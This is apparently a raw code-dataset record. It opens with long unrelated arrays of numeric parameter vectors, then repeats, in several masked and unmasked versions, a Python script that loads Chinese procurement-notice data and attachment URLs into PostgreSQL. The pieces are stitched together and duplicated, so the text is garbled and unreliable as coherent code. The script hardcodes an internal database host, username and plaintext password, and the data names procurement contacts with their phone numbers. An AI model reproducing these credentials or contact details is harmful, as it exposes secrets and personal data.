-1.7924803979756243e-13, 5.5902899343682586e-11,\n -7.217875877484109e-11, -1.120826019773443e-15, 3.8364837768074985e-16,\n 2.2074405673546407e-05, -1.904212437644655e-06, -1.509791791618086e-08,\n 8.960324081400173e-10, 91138056935.866, 156256693553.4698], [\n 7.235432436183002e-06, -1.444519147741974e-12, -1.7273464723057338e-13,\n 5.517809418856912e-11, -2.5310572250093563e-10, -1.1658376910672744e-15,\n 3.3048095015500005e-16, 2.4812886502853343e-05, -1.964119169077712e-06,\n -1.4777953862585708e-08, 8.945619840357268e-10, 98015149423.40909, \n 125389712442.99564], [6.382295596647026e-06, -1.5683042319109065e-12, -\n 1.271182130914441e-13, 3.9709881372590666e-11, -2.3411267641257417e-10,\n -1.1298867172210502e-15, 3.273827033054119e-16, 2.71828464025051e-05, -\n 1.86879521538149e-06, -1.6615697675064263e-08, 8.938783145101195e-10, \n 108132988244.55444, 600937075323.7117], [7.3000149385339486e-06, -\n 1.4649443926376347e-12, -1.740251215699652e-13, 5.5040821609381877e-11,\n -2.5448794058714256e-10, -1.1729621402736547e-15, 3.321162280251396e-16,\n 2.492985953688089e-05, -1.95260325957056e-06, -1.4879723555310096e-08, \n 8.886352647229086e-10, 118040637271.1665, 119637343045.177], [\n 5.595995170722691e-06, -1.5775800984465949e-12, -1.2531378473105398e-13,\n 5.5737478708430025e-11, -2.359264703422783e-10, -2.141274549861917e-15,\n 3.2670998922499434e-16, 2.2375793269713536e-05, -1.8912926681237391e-06,\n -1.5244852134327217e-08, 9.114608510796109e-10, 193706809398.06177, \n 145429438824.56485], [6.417695307686038e-06, -1.2390179448049186e-12, -\n 2.0184675219747084e-13, 3.996761820973954e-11, -7.30077645678233e-11, -\n 1.0733818300903034e-15, 3.6521589033170274e-16, 2.7380751148035565e-05,\n -1.901967051200766e-06, -1.6531476837456585e-08, 8.659462633971021e-10,\n 291714681643.4888, 219358626907.00577], [7.269087955666727e-06, -\n 1.4398732474157131e-12, -1.745771866624504e-13, 5.5370858680922966e-11,\n -2.5212090845365535e-10, -1.1547640084684547e-15, \n 3.1826570991307717e-16, 2.4799848604697875e-05, -1.9802449310363633e-06,\n -1.4932011828861567e-08, 8.916225586049855e-10, 291814703950.912, \n 265497905413.09335], [5.9575073045674184e-06, -1.4591405170404072e-12, \n -1.7515686156504634e-13, 5.071091939607585e-11, -7.251972289899038e-11,\n -1.172163868062928e-15, 3.2003450301868095e-16, 2.236559796692659e-05, \n -1.964000257622103e-06, -1.461000086726312e-08, 8.924031273079037e-10, \n 441351014961.37744, 513124822279.29816], [7.118156558728498e-06, -\n 1.4213484509322684e-12, -1.7594919642528414e-13, 5.502275447498347e-11,\n -2.359264703422783e-10, -2.146866081339977e-15, 3.3020925008057705e-16,\n 2.48800717576552e-05, -1.8740196054647742e-06, -1.4681760148497176e-08,\n 9.194043116452982e-10, 480601682287.2741, 2166349399584.3464], [\n 6.435379358296727e-06, -1.449279705541305e-12, -1.791907685050265e-13, \n 4.013727926643595e-11, -2.561628978573389e-10, -1.1658376910672744e-15,\n 3.1916771926698506e-16, 2.706170262409588e-05, -1.9747493962051268e-06,\n -1.6529378614728517e-08, 8.945619840357268e-10, 480690251628.6576, \n 455217335045.56067], [7.273965294010602e-06, -1.4508582334938624e-12, -\n 1.2640181562203036e-13, 5.1256890020829106e-11, -2.347526011960417e-10,\n -1.1573810914157072e-15, 3.313802025100971e-16, 2.5248996663846427e-05,\n -1.8890715225154116e-06, -1.4830513494585048e-08, 9.024560997678787e-10,\n 513022508534.7746, 1741282758378.8208], [7.171513003462397e-06, -\n 1.4334443716578728e-12, -1.258745292341622e-13, 5.562080442549079e-11, \n -2.5310572250093563e-10, -2.177369178159867e-15, 3.269368594462498e-16,\n 2.5052523082312023e-05, -1.9593459141604013e-06, -\n 1.4665768665138152e-08, 8.920318373308913e-10, 559251400205.1976, \n 313686240874.89294]]\nthird1_gen = [[6.428534934734018e-06, -1.2348251959432863e-12, -\n 1.767418187059626e-13, 3.954772029523348e-11, -7.292041892016764e-11, -\n 1.1216042005993232e-15, 3.8462974452187554e-16, 2.732021800880368e-05, \n -1.912188850787629e-06, -1.6465861899672315e-08, 8.953663972360121e-10,\n 35914970214.05617, 208658422545.5101], [6.449609175276781e-06, -\n 1.2355212093166627e-12, -1.7892996139776768e-13, 3.978108705811362e-11,\n -7.260470610345522e-11, -1.128236668058653e-15, 3.8262320992212617e-16,\n 2.699492740612888e-05, -1.9285560276423494e-06, -1.6459368248390354e-08,\n 9.071692193685023e-10, 37667755025.66565, 260591174431.75333], [\n 6.393923513974502e-06, -1.2329510175057565e-12, -1.7878217157136278e-13,\n 4.009121098742944e-11, -7.243742739542879e-11, -1.119215448440791e-15, \n 3.855466000081844e-16, 2.7170577516281446e-05, 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1.436844524248817e-12, -1.766513283684079e-13, 3.940038642964773e-11, -\n 7.181977887130175e-11, -1.1548751736666541e-15, 3.1745148598988346e-16,\n 2.707077658308786e-05, -1.92536072773705e-06, -1.6138736645669917e-08, \n 8.669699125562364e-10, 435950975348.6226, 363915964843.3034], [\n 6.393923513974502e-06, -1.4269415936091027e-12, -1.7684911527276688e-13,\n 5.480211712359269e-11, -7.243742739542879e-11, -1.1795054510279537e-15,\n 3.8683254669914693e-16, 2.7200371659468664e-05, -1.925930700762681e-06,\n -1.643396668485197e-08, 8.601004856702239e-10, 840789439847.5613, \n 886246867017.2574], [6.5292806963971566e-06, -1.2521788644307235e-12, -\n 1.752024719240228e-13, 5.432423395298522e-11, -7.243160061946103e-11, -\n 1.1728842336075722e-15, 3.642469974043324e-16, 2.4721354631465055e-05, \n -1.9201275577069358e-06, -1.6042437181983083e-08, 8.613978338195112e-10,\n 1220087240914.9465, 1538404370735.8923], [7.222746286095911e-06, -\n 1.4287928653696903e-12, -1.7798884315456173e-13, 5.47608522234827e-11, \n -7.177949793819456e-11, -1.1234835849356116e-15, 3.638627899273496e-16,\n 2.4725904181789833e-05, -1.7849753358990938e-06, -\n 1.6004659818379623e-08, 9.095587982641099e-10, 1457214324700.6113, \n 3971854766728.4727]]\n[1.5780628845471506e-10, -1.411490597458207e-12, -2.483949940281473e-13, \n 5.026488748046414e-11, -1.6612576871621329e-10, -1.6989844545344268e-15,\n 8.109443782655016e-16, 2.404048022255995e-05, -1.9859378185800262e-06, \n -1.6176901999289427e-08, 9.489903548622118e-10, 102704594939.3429, \n 145011267381.10236]\n[6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, \n 4.6265959327559024e-11, -1.669670220497726e-10, -1.803564324024427e-15,\n 9.085513864943156e-16, 2.3963751617497686e-05, -1.9517021060346726e-06,\n -1.7031696163247858e-08, 9.514461873186105e-10, 165879895673.90985, \n 148817892429.6303]\n[6.525636151737385e-10, -1.5516831882387681e-12, -2.3065883936338436e-13, \n 4.6265959327559024e-11, -1.669670220497726e-10, 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112772825510.86789, \n 160453198244.84198]\n[-8.304227478096081e-10, -1.500986356346536e-12, -1.9531413192683389e-13, \n 4.764041880667976e-11, -1.8918518378579712e-10, -1.9257301298903336e-15,\n 8.688144408462996e-16, 2.7122228639393258e-05, -1.8099079507631247e-06,\n -1.8203397437532012e-08, 8.935114691513575e-10, 177535436392.6114, \n 109895891048.79645]\n[-2.0926038768787875e-10, -1.6406892521440393e-12, -1.9531413192683389e-13,\n 4.85603371945204e-11, -1.450370910345386e-10, -1.9257301298903336e-15, \n 8.688144408462996e-16, 2.7370809361932293e-05, -1.8015495121292713e-06,\n -1.836034443165441e-08, 8.935114691513575e-10, 150364957402.63327, \n 122880053749.32047]\n[-8.223802918909379e-10, -1.4625176901480844e-12, -2.703868659848318e-13, \n 4.852404641399239e-11, -1.896863627503491e-10, -1.9257301298903336e-15,\n 8.688144408462996e-16, 2.697391208672331e-05, -1.7223534426462784e-06, \n -1.7212440323693525e-08, 8.377481199786938e-10, 199237170018.58218, \n 130994741061.18477]\n[-2.1118416643089627e-10, -1.459747004615292e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4471230416768517e-10, -1.9257301298903336e-15,\n 8.688144408462996e-16, 2.7267797101210102e-05, -1.8015495121292713e-06,\n -1.818410294118833e-08, 8.935114691513575e-10, 120611068648.22205, \n 148716985588.15564]\n[-2.0926038768787875e-10, -1.3359785407261977e-12, -1.9412676391052573e-13,\n 4.852404641399239e-11, -1.4675478300173032e-10, -1.8210829282495652e-15,\n 8.751158883884222e-16, 2.492800478197597e-05, -1.8015495121292713e-06, \n -1.830053261436748e-08, 9.081976758127089e-10, 190052435274.9098, \n 101545825010.15762]\n[-2.0926038768787875e-10, -1.647013760811586e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4446129047664535e-10, -1.8210829282495652e-15,\n 8.731899868495941e-16, 2.4857867004975476e-05, -1.8015495121292713e-06,\n -1.8287117187317536e-08, 9.081976758127089e-10, 195239394048.3779, \n 101879284463.33914]\n[-8.372413642600907e-10, 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-1.4975512206722303e-08, 8.721578527250325e-10, 92516509687.73035, \n 170174200265.44513]\n", "step-4": "one=[7.236287049225701e-06, -1.445911565527231e-12, -1.7498772740084537e-13, 5.109944355076077e-11, -2.5430545472048434e-10, -1.1709514644876058e-15, 3.210132219509301e-16, 2.502027767038304e-05, -1.975229899156637e-06, -1.4769695480936238e-08, 8.945619840357268e-10, 135323228000.64511, 130464457208.5385]\ntwo=[6.101651991514008e-06, -1.2764740103418866e-12, -1.9703439809858206e-13, 4.396430723625485e-11, -7.256876412950873e-11, -1.0739249647595844e-15, 3.658727722774004e-16, 2.9622074287767617e-05, -1.9615179204309246e-06, -1.518516920005905e-08, 8.601004856702239e-10, 194360719320.3122, 75684271432.82758]\nthree=[6.4442734160126695e-06, -1.2463732938819767e-12, -1.7912928652160854e-13, 3.990379556815055e-11, -7.256876412950873e-11, -1.128505986956859e-15, 3.855466000081844e-16, 2.7105518268805634e-05, -1.918022677712299e-06, -1.648586510957147e-08, 8.952907812465134e-10, 40874176708.45886, 129961018217.7445]\nfour=[5.591985036569838e-06, -1.5732644861037622e-12, -1.2586540738798186e-13, 5.508993685740796e-11, -2.345347836605763e-10, -2.1583737575101563e-15, 3.315525502908504e-16, 2.240369111953624e-05, -1.8808495402864136e-06, -1.5154818034574072e-08, 9.134128217572173e-10, 95538034865.65512, 192689393537.75766]\nfive=[5.9877501684316964e-06, -1.4725222964411265e-12, -2.0184675219747084e-13, 4.503520441436847e-11, -2.195719309752964e-10, -1.1996862422718706e-15, 3.172649531291829e-16, 2.235294071412983e-05, -1.7673862518012629e-06, -1.593810591566234e-08, 8.495479067416047e-10, 172629547544.72174, 121012464101.10771]\nsix = [6.525636151737385e-10, -1.5516831882387681e-12, -1.7065883936338436e-13, 4.6265959327559024e-11, -2.669670220497726e-10, -1.0739249647595844e-15, 9.085513864943156e-16, 2.5963751617497686e-05, -1.9757021060346726e-06, -1.5031696163247858e-08, 8.945619840357268e-10, 99871865434.22476, 123933224114.80229]\n\nfirst1_gen= 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-1.5013783998899997e-08, 8.750599822793858e-10, 119639757591.69417, 143860615432.91846]\n\n[2.2282051950271776e-10, -1.2059133330572482e-12, -2.1171136727356646e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 119621740814.33159, 143868003797.30536]\n\n[-9.575357968769427e-09, -1.2028279049571785e-12, -2.1051647732787472e-13, 5.039644867967898e-11, -1.7558160485557454e-10, -1.842789515995345e-15, 7.430575474541962e-16, 1.9863936167468564e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.749223081325664e-10, 121395913545.80966, 144269444777.14786]\n\n[2.2282051950271776e-10, -1.2030336482043862e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 118220156709.2957, 145085114899.6645]\n\n[2.2282051950271776e-10, -1.2030336482043862e-12, -2.1171136727356646e-13, 5.011120217163613e-11, -1.7471650977559177e-10, -1.8261648304268637e-15, 7.416691902768309e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10, 118220156709.04602, 145085114900.12366]\n\n[2.2082942462171206e-10, -1.2071709641632366e-12, -2.0913778067377877e-13, 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.5074975460776788e-08, 8.721578527250325e-10, 109968109293.02217, 145590447784.79443]\n\n[2.22213071071529e-10, -1.2059133330572482e-12, -2.1085309656936224e-13, 5.021867485100539e-11, -1.7558160485557454e-10, -1.8261648304268637e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.760267738096764e-10, 111899934222.58044, 153694065180.84283]\n\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.0866854154642685e-13, 5.011120217163613e-11, -1.766361848796505e-10, -1.8339694239958517e-15, 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, -1.5013783998899997e-08, 8.760544278271184e-10, 112511385038.11157, 154263245256.49524]\n\n[3.868816176815073e-09, -1.2030336482043862e-12, -2.1171136727356646e-13, 5.021867485100539e-11, -1.7558160485557454e-10, -1.82610373802557e-15, 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, -1.4920809345224143e-08, 8.750599822793858e-10, 102250033424.31876, 164710456294.5225]\n\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, 5.011120217163613e-11, -1.7478774930028702e-10, -1.82610373802557e-15, 7.452586179271996e-16, 2.0343533479720338e-05, -1.7639524821935923e-06, -1.4975512206722303e-08, 8.721578527250325e-10, 92516509687.73035, 170174200265.44513]\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }

[ 0, 1, 2, 3 ]

<|reserved_special_token_0|> def processJson(dic): dicobj = json.loads(dic) print(dicobj) for k, v in dicobj.items(): dict_tmp = {} dict_tmp['file_name'] = k dict_tmp['urls'] = v print(k) print(v) result.append(dict_tmp) return result def procesV(): for i in data_list: if 'appendix' in i.keys(): appendix = i['appendix'] if appendix != '': fj = processJson(i['appendix']) print(fj) fjs = json.dumps(fj, ensure_ascii=False) values_list.append(('testtest', fjs)) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def processJson(dic): dicobj = json.loads(dic) print(dicobj) for k, v in dicobj.items(): dict_tmp = {} dict_tmp['file_name'] = k dict_tmp['urls'] = v print(k) print(v) result.append(dict_tmp) return result def procesV(): for i in data_list: if 'appendix' in i.keys(): appendix = i['appendix'] if appendix != '': fj = processJson(i['appendix']) print(fj) fjs = json.dumps(fj, ensure_ascii=False) values_list.append(('testtest', fjs)) def prosql(): hostname = '172.18.11.26' username = 'postgres' password = 'postgres_cnhis@#$' database = 'ai' conn = pg.connect(database=database, user=username, password=password, host=hostname, port='5432') cursor = conn.cursor() procesV() sql = """insert into ho_sysnc_third_customer_data("purchased_project_name","fj_json") values %s """ ex.execute_values(cursor, sql, values_list, page_size=10000) conn.commit() conn.close() cursor.close() if __name__ == '__main__': prosql() <|reserved_special_token_1|> <|reserved_special_token_0|> data_list = [{'projectName': '伊犁哈萨克自治州友谊医院开发区分院保洁服务项目', 'pingmu': '服务', 'purUnit': '新疆伊犁哈萨克自治州友谊医院', 'adminiArea': '新疆维吾尔自治区', 'bulletTime': '2020年09月02日 19:20', 'obtBidTime': '2020年09月02日至2020年09月09日每日上午:00:00 至 12:00\xa0\xa0下午:12:00 至 23:59（北京时间，法定节假日除外）' , 'bidDocPrice': '￥500', 'obtBidLoc': '伊宁市经济合作区福安·西城国际1416室', 'staBidTime': '', 'staLoc': '伊宁市海棠路3号州财政局办公楼附楼1层州政府采购中心一楼招标厅', 'budget': '￥807.000000万元（人民币）', 'proContact': '胡川', 'proPhone': '18690293446', 'purAddress': '伊宁市斯大林街92号', 'purUnitPhone': '0999-8024023', 'agentName': '新疆诚成工程项目管理有限公司', 'agentAddress': '详见公告正文', 'agentPhone': '18690293446'}, {'projectName': '旅顺口医疗区医用氧气管道检修采购项目', 'pingmu': '服务/维修和保养服务/其他维修和保养服务', 'purUnit': '中国人民解放军联勤保障部队第九六七医院', 'adminiArea': '大连市', 'bulletTime': '2020年09月02日 19:52', 'obtBidTime': '2020年09月02日至2020年09月07日每日上午:8:30 至 11:30\xa0\xa0下午:13:00 至 16:30（北京时间，法定节假日除外）' , 'budget': '￥0.000000万元（人民币）', 'proContact': '廖大成，尹辉', 'proPhone': '0411-80841295 0411-80841296', 'purAddress': '辽宁省大连市西岗区胜利路80号', 'purUnitPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'agentName': '中国人民解放军联勤保障部队第九六七医院', 'agentAddress': '辽宁省大连市西岗区胜利路80号', 'agentPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'appendix': '{"2.报价书氧气管道检修.docx": "http://www.ccgp.gov.cn/oss/download?uuid=88FCEC822374C5002F6DD48B15DC44", "3.货物指标及要求氧气管道检修.docx": "http://www.ccgp.gov.cn/oss/download?uuid=2773DFCD00839B5E034DA43339EDF1"}' }] dict_tmp = {} values_list = [] result = [] def processJson(dic): dicobj = json.loads(dic) print(dicobj) for k, v in dicobj.items(): dict_tmp = {} dict_tmp['file_name'] = k dict_tmp['urls'] = v print(k) print(v) result.append(dict_tmp) return result def procesV(): for i in data_list: if 'appendix' in i.keys(): appendix = i['appendix'] if appendix != '': fj = processJson(i['appendix']) print(fj) fjs = json.dumps(fj, ensure_ascii=False) values_list.append(('testtest', fjs)) def prosql(): hostname = '172.18.11.26' username = 'postgres' password = 'postgres_cnhis@#$' database = 'ai' conn = pg.connect(database=database, user=username, password=password, host=hostname, port='5432') cursor = conn.cursor() procesV() sql = """insert into ho_sysnc_third_customer_data("purchased_project_name","fj_json") values %s """ ex.execute_values(cursor, sql, values_list, page_size=10000) conn.commit() conn.close() cursor.close() if __name__ == '__main__': prosql() <|reserved_special_token_1|> from psycopg2 import extras as ex import psycopg2 as pg import json import datetime import os from functools import reduce data_list = [{'projectName': '伊犁哈萨克自治州友谊医院开发区分院保洁服务项目', 'pingmu': '服务', 'purUnit': '新疆伊犁哈萨克自治州友谊医院', 'adminiArea': '新疆维吾尔自治区', 'bulletTime': '2020年09月02日 19:20', 'obtBidTime': '2020年09月02日至2020年09月09日每日上午:00:00 至 12:00\xa0\xa0下午:12:00 至 23:59（北京时间，法定节假日除外）' , 'bidDocPrice': '￥500', 'obtBidLoc': '伊宁市经济合作区福安·西城国际1416室', 'staBidTime': '', 'staLoc': '伊宁市海棠路3号州财政局办公楼附楼1层州政府采购中心一楼招标厅', 'budget': '￥807.000000万元（人民币）', 'proContact': '胡川', 'proPhone': '18690293446', 'purAddress': '伊宁市斯大林街92号', 'purUnitPhone': '0999-8024023', 'agentName': '新疆诚成工程项目管理有限公司', 'agentAddress': '详见公告正文', 'agentPhone': '18690293446'}, {'projectName': '旅顺口医疗区医用氧气管道检修采购项目', 'pingmu': '服务/维修和保养服务/其他维修和保养服务', 'purUnit': '中国人民解放军联勤保障部队第九六七医院', 'adminiArea': '大连市', 'bulletTime': '2020年09月02日 19:52', 'obtBidTime': '2020年09月02日至2020年09月07日每日上午:8:30 至 11:30\xa0\xa0下午:13:00 至 16:30（北京时间，法定节假日除外）' , 'budget': '￥0.000000万元（人民币）', 'proContact': '廖大成，尹辉', 'proPhone': '0411-80841295 0411-80841296', 'purAddress': '辽宁省大连市西岗区胜利路80号', 'purUnitPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'agentName': '中国人民解放军联勤保障部队第九六七医院', 'agentAddress': '辽宁省大连市西岗区胜利路80号', 'agentPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'appendix': '{"2.报价书氧气管道检修.docx": "http://www.ccgp.gov.cn/oss/download?uuid=88FCEC822374C5002F6DD48B15DC44", "3.货物指标及要求氧气管道检修.docx": "http://www.ccgp.gov.cn/oss/download?uuid=2773DFCD00839B5E034DA43339EDF1"}' }] dict_tmp = {} values_list = [] result = [] def processJson(dic): dicobj = json.loads(dic) print(dicobj) for k, v in dicobj.items(): dict_tmp = {} dict_tmp['file_name'] = k dict_tmp['urls'] = v print(k) print(v) result.append(dict_tmp) return result def procesV(): for i in data_list: if 'appendix' in i.keys(): appendix = i['appendix'] if appendix != '': fj = processJson(i['appendix']) print(fj) fjs = json.dumps(fj, ensure_ascii=False) values_list.append(('testtest', fjs)) def prosql(): hostname = '172.18.11.26' username = 'postgres' password = 'postgres_cnhis@#$' database = 'ai' conn = pg.connect(database=database, user=username, password=password, host=hostname, port='5432') cursor = conn.cursor() procesV() sql = """insert into ho_sysnc_third_customer_data("purchased_project_name","fj_json") values %s """ ex.execute_values(cursor, sql, values_list, page_size=10000) conn.commit() conn.close() cursor.close() if __name__ == '__main__': prosql() <|reserved_special_token_1|> from psycopg2 import extras as ex import psycopg2 as pg import json import datetime import os from functools import reduce data_list = [{'projectName': '伊犁哈萨克自治州友谊医院开发区分院保洁服务项目', 'pingmu': '服务', 'purUnit': '新疆伊犁哈萨克自治州友谊医院', 'adminiArea': '新疆维吾尔自治区', 'bulletTime': '2020年09月02日 19:20', 'obtBidTime': '2020年09月02日至2020年09月09日每日上午:00:00 至 12:00\xa0\xa0下午:12:00 至 23:59（北京时间，法定节假日除外）', 'bidDocPrice': '￥500', 'obtBidLoc': '伊宁市经济合作区福安·西城国际1416室', 'staBidTime': '', 'staLoc': '伊宁市海棠路3号州财政局办公楼附楼1层州政府采购中心一楼招标厅', 'budget': '￥807.000000万元（人民币）', 'proContact': '胡川', 'proPhone': '18690293446', 'purAddress': '伊宁市斯大林街92号', 'purUnitPhone': '0999-8024023', 'agentName': '新疆诚成工程项目管理有限公司', 'agentAddress': '详见公告正文', 'agentPhone': '18690293446'} , {'projectName': '旅顺口医疗区医用氧气管道检修采购项目', 'pingmu': '服务/维修和保养服务/其他维修和保养服务', 'purUnit': '中国人民解放军联勤保障部队第九六七医院', 'adminiArea': '大连市', 'bulletTime': '2020年09月02日 19:52', 'obtBidTime': '2020年09月02日至2020年09月07日每日上午:8:30 至 11:30\xa0\xa0下午:13:00 至 16:30（北京时间，法定节假日除外）', 'budget': '￥0.000000万元（人民币）', 'proContact': '廖大成，尹辉', 'proPhone': '0411-80841295 0411-80841296', 'purAddress': '辽宁省大连市西岗区胜利路80号', 'purUnitPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'agentName': '中国人民解放军联勤保障部队第九六七医院', 'agentAddress': '辽宁省大连市西岗区胜利路80号', 'agentPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'appendix': '{"2.报价书氧气管道检修.docx": "http://www.ccgp.gov.cn/oss/download?uuid=88FCEC822374C5002F6DD48B15DC44", "3.货物指标及要求氧气管道检修.docx": "http://www.ccgp.gov.cn/oss/download?uuid=2773DFCD00839B5E034DA43339EDF1"}'} ] dict_tmp={} values_list = [] result = [] def processJson(dic): dicobj = json.loads(dic) print(dicobj) for k,v in dicobj.items(): dict_tmp = {} dict_tmp["file_name"] = k dict_tmp["urls"] =v print(k) print(v) result.append(dict_tmp) # dict_tmp.clear() return result def procesV(): for i in data_list: if "appendix" in i.keys(): appendix = i["appendix"] if appendix != "": fj = processJson(i["appendix"]) print(fj) fjs = json.dumps(fj,ensure_ascii=False) values_list.append(("testtest",fjs)) def prosql(): # values 后面直接%s hostname = '172.18.11.26' username = 'postgres' password = 'postgres_cnhis@#$' database = 'ai' conn = pg.connect(database=database, user=username, password=password, host=hostname, port="5432") cursor = conn.cursor() procesV() sql = '''insert into ho_sysnc_third_customer_data("purchased_project_name","fj_json") values %s ''' # 其中函数中的page_size参数默认为100，表示每个statement包含的最大条目数， # 如果传过来的argslist长度大于page_size,则该函数最多执行len(argslist)/page_size + 1次。 ex.execute_values(cursor, sql, values_list, page_size=10000) conn.commit() conn.close() cursor.close() if __name__ =='__main__': prosql() # procesV()

flexible

{ "blob_id": "e9af8f7830be7db3ca57b0a24de48ef7fcb08d6c", "index": 8453, "step-1": "<mask token>\n\n\ndef processJson(dic):\n dicobj = json.loads(dic)\n print(dicobj)\n for k, v in dicobj.items():\n dict_tmp = {}\n dict_tmp['file_name'] = k\n dict_tmp['urls'] = v\n print(k)\n print(v)\n result.append(dict_tmp)\n return result\n\n\ndef procesV():\n for i in data_list:\n if 'appendix' in i.keys():\n appendix = i['appendix']\n if appendix != '':\n fj = processJson(i['appendix'])\n print(fj)\n fjs = json.dumps(fj, ensure_ascii=False)\n values_list.append(('testtest', fjs))\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef processJson(dic):\n dicobj = json.loads(dic)\n print(dicobj)\n for k, v in dicobj.items():\n dict_tmp = {}\n dict_tmp['file_name'] = k\n dict_tmp['urls'] = v\n print(k)\n print(v)\n result.append(dict_tmp)\n return result\n\n\ndef procesV():\n for i in data_list:\n if 'appendix' in i.keys():\n appendix = i['appendix']\n if appendix != '':\n fj = processJson(i['appendix'])\n print(fj)\n fjs = json.dumps(fj, ensure_ascii=False)\n values_list.append(('testtest', fjs))\n\n\ndef prosql():\n hostname = '172.18.11.26'\n username = 'postgres'\n password = 'postgres_cnhis@#$'\n database = 'ai'\n conn = pg.connect(database=database, user=username, password=password,\n host=hostname, port='5432')\n cursor = conn.cursor()\n procesV()\n sql = \"\"\"insert into ho_sysnc_third_customer_data(\"purchased_project_name\",\"fj_json\")\n values %s\n \"\"\"\n ex.execute_values(cursor, sql, values_list, page_size=10000)\n conn.commit()\n conn.close()\n cursor.close()\n\n\nif __name__ == '__main__':\n prosql()\n", "step-3": "<mask token>\ndata_list = [{'projectName': '伊犁哈萨克自治州友谊医院开发区分院保洁服务项目', 'pingmu': '服务',\n 'purUnit': '新疆伊犁哈萨克自治州友谊医院', 'adminiArea': '新疆维吾尔自治区', 'bulletTime':\n '2020年09月02日 19:20', 'obtBidTime':\n '2020年09月02日至2020年09月09日每日上午:00:00 至 12:00\\xa0\\xa0下午:12:00 至 23:59（北京时间，法定节假日除外）'\n , 'bidDocPrice': '￥500', 'obtBidLoc': '伊宁市经济合作区福安·西城国际1416室',\n 'staBidTime': '', 'staLoc': '伊宁市海棠路3号州财政局办公楼附楼1层州政府采购中心一楼招标厅',\n 'budget': '￥807.000000万元（人民币）', 'proContact': '胡川', 'proPhone':\n '18690293446', 'purAddress': '伊宁市斯大林街92号', 'purUnitPhone':\n '0999-8024023', 'agentName': '新疆诚成工程项目管理有限公司', 'agentAddress': '详见公告正文',\n 'agentPhone': '18690293446'}, {'projectName': '旅顺口医疗区医用氧气管道检修采购项目',\n 'pingmu': '服务/维修和保养服务/其他维修和保养服务', 'purUnit': '中国人民解放军联勤保障部队第九六七医院',\n 'adminiArea': '大连市', 'bulletTime': '2020年09月02日 19:52', 'obtBidTime':\n '2020年09月02日至2020年09月07日每日上午:8:30 至 11:30\\xa0\\xa0下午:13:00 至 16:30（北京时间，法定节假日除外）'\n , 'budget': '￥0.000000万元（人民币）', 'proContact': '廖大成，尹辉', 'proPhone':\n '0411-80841295 0411-80841296', 'purAddress': '辽宁省大连市西岗区胜利路80号',\n 'purUnitPhone': '廖大成，尹辉 0411-80841295 0411-80841296', 'agentName':\n '中国人民解放军联勤保障部队第九六七医院', 'agentAddress': '辽宁省大连市西岗区胜利路80号', 'agentPhone':\n '廖大成，尹辉 0411-80841295 0411-80841296', 'appendix':\n '{\"2.报价书氧气管道检修.docx\": \"http://www.ccgp.gov.cn/oss/download?uuid=88FCEC822374C5002F6DD48B15DC44\", \"3.货物指标及要求氧气管道检修.docx\": \"http://www.ccgp.gov.cn/oss/download?uuid=2773DFCD00839B5E034DA43339EDF1\"}'\n }]\ndict_tmp = {}\nvalues_list = []\nresult = []\n\n\ndef processJson(dic):\n dicobj = json.loads(dic)\n print(dicobj)\n for k, v in dicobj.items():\n dict_tmp = {}\n dict_tmp['file_name'] = k\n dict_tmp['urls'] = v\n print(k)\n print(v)\n result.append(dict_tmp)\n return result\n\n\ndef procesV():\n for i in data_list:\n if 'appendix' in i.keys():\n appendix = i['appendix']\n if appendix != '':\n fj = processJson(i['appendix'])\n print(fj)\n fjs = json.dumps(fj, ensure_ascii=False)\n values_list.append(('testtest', fjs))\n\n\ndef prosql():\n hostname = '172.18.11.26'\n username = 'postgres'\n password = 'postgres_cnhis@#$'\n database = 'ai'\n conn = pg.connect(database=database, user=username, password=password,\n host=hostname, port='5432')\n cursor = conn.cursor()\n procesV()\n sql = \"\"\"insert into ho_sysnc_third_customer_data(\"purchased_project_name\",\"fj_json\")\n values %s\n \"\"\"\n ex.execute_values(cursor, sql, values_list, page_size=10000)\n conn.commit()\n conn.close()\n cursor.close()\n\n\nif __name__ == '__main__':\n prosql()\n", "step-4": "from psycopg2 import extras as ex\nimport psycopg2 as pg\nimport json\nimport datetime\nimport os\nfrom functools import reduce\ndata_list = [{'projectName': '伊犁哈萨克自治州友谊医院开发区分院保洁服务项目', 'pingmu': '服务',\n 'purUnit': '新疆伊犁哈萨克自治州友谊医院', 'adminiArea': '新疆维吾尔自治区', 'bulletTime':\n '2020年09月02日 19:20', 'obtBidTime':\n '2020年09月02日至2020年09月09日每日上午:00:00 至 12:00\\xa0\\xa0下午:12:00 至 23:59（北京时间，法定节假日除外）'\n , 'bidDocPrice': '￥500', 'obtBidLoc': '伊宁市经济合作区福安·西城国际1416室',\n 'staBidTime': '', 'staLoc': '伊宁市海棠路3号州财政局办公楼附楼1层州政府采购中心一楼招标厅',\n 'budget': '￥807.000000万元（人民币）', 'proContact': '胡川', 'proPhone':\n 